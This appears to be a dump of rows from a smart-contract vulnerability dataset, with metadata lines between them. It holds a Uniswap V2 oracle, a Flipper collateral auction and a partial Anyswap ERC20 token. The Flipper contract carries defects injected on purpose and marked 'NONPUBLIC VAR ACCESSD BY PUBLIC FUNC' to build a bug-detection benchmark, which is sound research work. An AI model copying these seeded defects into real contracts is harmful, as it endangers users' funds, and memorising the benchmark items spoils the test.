event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IKeep3rV1 {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
// `windowSize` with a precision of `windowSize / granularity`
contract UniswapV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
modifier keeper() {
require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
KP3R.worked(msg.sender);
}
address public governance;
address public pendingGovernance;
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
function setKeep3r(address _keep3r) external {
require(msg.sender == governance, "setKeep3r: !gov");
KP3R = IKeep3rV1(_keep3r);
}
IKeep3rV1 public KP3R;
address public immutable factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
// the desired amount of time over which the moving average should be computed, e.g. 24 hours
uint public immutable windowSize = 14400;
// averages are computed over intervals with sizes in the range:
// [windowSize - (windowSize / granularity) * 2, windowSize]
// the period:
// [now - [22 hours, 24 hours], now]
uint8 public immutable granularity = 8;
uint public immutable periodSize = 1800;
address[] internal _pairs;
mapping(address => bool) internal _known;
mapping(address => uint) public lastUpdated;
function pairs() external view returns (address[] memory) {
return _pairs;
}
// mapping from pair address to a list of price observations of that pair
mapping(address => Observation[]) public pairObservations;
constructor(address _keep3r) public {
governance = msg.sender;
KP3R = IKeep3rV1(_keep3r);
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
// once per epoch period.
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: !work");
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateableList() external view returns (address[] memory list) {
uint _index = 0;
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
list[_index++] = _pairs[i];
}
}
}
function updateable(address pair) public view returns (bool) {
return (block.timestamp - lastUpdated[pair]) > periodSize;
}
function updateable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function updateableFor(uint i, uint length) external view returns (bool) {
for (; i < length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
lastUpdated[pair] = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// price in terms of how much amount out is received for the amount in
function computeAmountOut(uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed));
amountOut = priceAverage.mul(amountIn).decode144();
}
// range [now - [windowSize, windowSize - periodSize * 2], now]
// update must have been called for the bucket corresponding to timestamp `now - windowSize`
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
}
| 283,504 | 13,449 |
d7bdf98ed24234e85cf86c4d1300f4e4718f19dc251aa9a33e1b9cc3608e96dc
| 9,675 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0x4c131366246b50017f3eed0bd82fa77c77a7aa9d_nonpublicVarAccessdByPublicFunc.sol
| 2,646 | 9,183 |
/// flip.sol -- Collateral auction
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.5.12;
contract LibNote {
event LogNote(bytes4 indexed sig,
address indexed usr,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes data) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: selector, caller, arg1 and arg2
let mark := msize // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
caller, // msg.sender
calldataload(4), // arg1
calldataload(36) // arg2)
}
}
}
contract VatLike {
function move(address,address,uint) external;
function flux(bytes32,address,address,uint) external;
}
contract Flipper is LibNote {
// --- Auth ---
mapping (address => uint) internal wards;
function rely(address usr) external note auth { wards[usr] = 1; } //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
function deny(address usr) external note auth { wards[usr] = 0; } //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
modifier auth {
require(wards[msg.sender] == 1, "Flipper/not-authorized");
_;
}
// --- Data ---
struct Bid {
uint256 bid;
uint256 lot;
address guy; // high bidder
uint48 tic; // expiry time
uint48 end;
address usr;
address gal;
uint256 tab;
}
mapping (uint => Bid) internal bids;
VatLike internal vat;
bytes32 internal ilk;
uint256 constant ONE = 1.00E18;
uint256 internal beg = 1.05E18; // 5% minimum bid increase
uint48 internal ttl = 3 hours; // 3 hours bid duration
uint48 internal tau = 2 days; // 2 days total auction length
uint256 internal kicks = 0;
// --- Events ---
event Kick(uint256 id,
uint256 lot,
uint256 bid,
uint256 tab,
address indexed usr,
address indexed gal);
// --- Init ---
constructor(address vat_, bytes32 ilk_) public {
vat = VatLike(vat_);
ilk = ilk_;
wards[msg.sender] = 1;
}
// --- Math ---
function add(uint48 x, uint48 y) internal pure returns (uint48 z) {
require((z = x + y) >= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
// --- Admin ---
function file(bytes32 what, uint data) external note auth {
if (what == "beg") beg = data; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else if (what == "ttl") ttl = uint48(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else if (what == "tau") tau = uint48(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else revert("Flipper/file-unrecognized-param");
}
// --- Auction ---
function kick(address usr, address gal, uint tab, uint lot, uint bid)
public auth returns (uint id)
{
require(kicks < uint(-1), "Flipper/overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
id = ++kicks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].bid = bid; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].lot = lot; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; // configurable?? //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].end = add(uint48(now), tau); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].usr = usr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].gal = gal; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tab = tab; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, msg.sender, address(this), lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Kick(id, lot, bid, tab, usr, gal);
}
function tick(uint id) external note {
require(bids[id].end < now, "Flipper/not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic == 0, "Flipper/bid-already-placed"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].end = add(uint48(now), tau); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function tend(uint id, uint lot, uint bid) external note {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].end > now, "Flipper/already-finished-end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(lot == bids[id].lot, "Flipper/lot-not-matching"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid <= bids[id].tab, "Flipper/higher-than-tab"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid > bids[id].bid, "Flipper/bid-not-higher"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mul(bid, ONE) >= mul(beg, bids[id].bid) || bid == bids[id].tab, "Flipper/insufficient-increase"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].gal, bid - bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].bid = bid; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tic = add(uint48(now), ttl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function dent(uint id, uint lot, uint bid) external note {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].end > now, "Flipper/already-finished-end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid == bids[id].bid, "Flipper/not-matching-bid"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid == bids[id].tab, "Flipper/tend-not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(lot < bids[id].lot, "Flipper/lot-not-lower"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mul(beg, lot) <= mul(bids[id].lot, ONE), "Flipper/insufficient-decrease"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, address(this), bids[id].usr, bids[id].lot - lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].lot = lot; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tic = add(uint48(now), ttl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function deal(uint id) external note {
require(bids[id].tic != 0 && (bids[id].tic < now || bids[id].end < now), "Flipper/not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, address(this), bids[id].guy, bids[id].lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
delete bids[id]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function yank(uint id) external note auth {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].bid < bids[id].tab, "Flipper/already-dent-phase"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, address(this), msg.sender, bids[id].lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
delete bids[id]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
| 279,852 | 13,450 |
c0514ab7b0917cc7206191094b67dc9f7c802c2e87b0c162fc7ba1e1496cc35e
| 24,175 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/62/623332a33ae3a8fc9b121322c72550decc0ed81c_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
